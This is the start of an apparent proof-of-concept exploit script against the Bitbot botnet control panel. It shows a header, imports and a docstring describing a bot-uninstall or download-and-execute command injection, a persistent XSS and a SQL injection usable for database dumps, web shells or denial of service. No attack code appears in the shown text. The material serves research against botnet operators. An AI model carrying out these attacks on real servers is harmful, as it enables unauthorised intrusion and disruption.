# Exploit Title: Bitbot C2 Panel gate2.php SQLi + XSS # Date: 08/19/2013 # Exploit Author: Brian Wallace (bwall aka @botnet_hunter) # Software Link: https://sourceforge.net/p/flippingbitbot/wiki/Home/ (Vulnerable Virtual Machine including Bitbot) # Tested on: Debian/Ubuntu from StringIO import StringIO import datetime import urllib import pycurl import time ''' Proof of concepts for the base attacks against the Bitbot panel. By: Brian Wallace (bwall) @botnet_hunter You can test these against the Vulnerable Virtual Machine challenge featuring Bitbot at https://sourceforge.net/p/flippingbitbot/wiki/Home/ and read details about more elaborate attacks against Bitbot at http://cylance.com/techblog/A-Study-in-Bots-Bitbot.shtml "drop" - Sets the command on all the bots to uninstall themselves, a modified version could be used to get the bots to download and execute a file. "xss" - Injects a fake bot which causes a persistent XSS in the bot panel, this attack can be used to get information about the botter, or used to change configuration values, such as which mining pool the bots are sending to. There is very limited room for the XSS. Since very few of the values go through any sanitization, it would be possible to implement the attack across multiple parameters. "dos" - While this attack implements a denial of service attack, it also shows a simpler SQLi vulnerability than the one used to inject commands into the bots. This one could be used to potentially dump the database, write a web shell and read files from the host. I'll leave that to your imagination. The implemented attack will DoS the MySQL server, and if repeated, eventually it can DoS the Apache server if a max instance count is set (default configuration will take only 150 to lock bots/botters out of Apache). The current version is a blocking call.
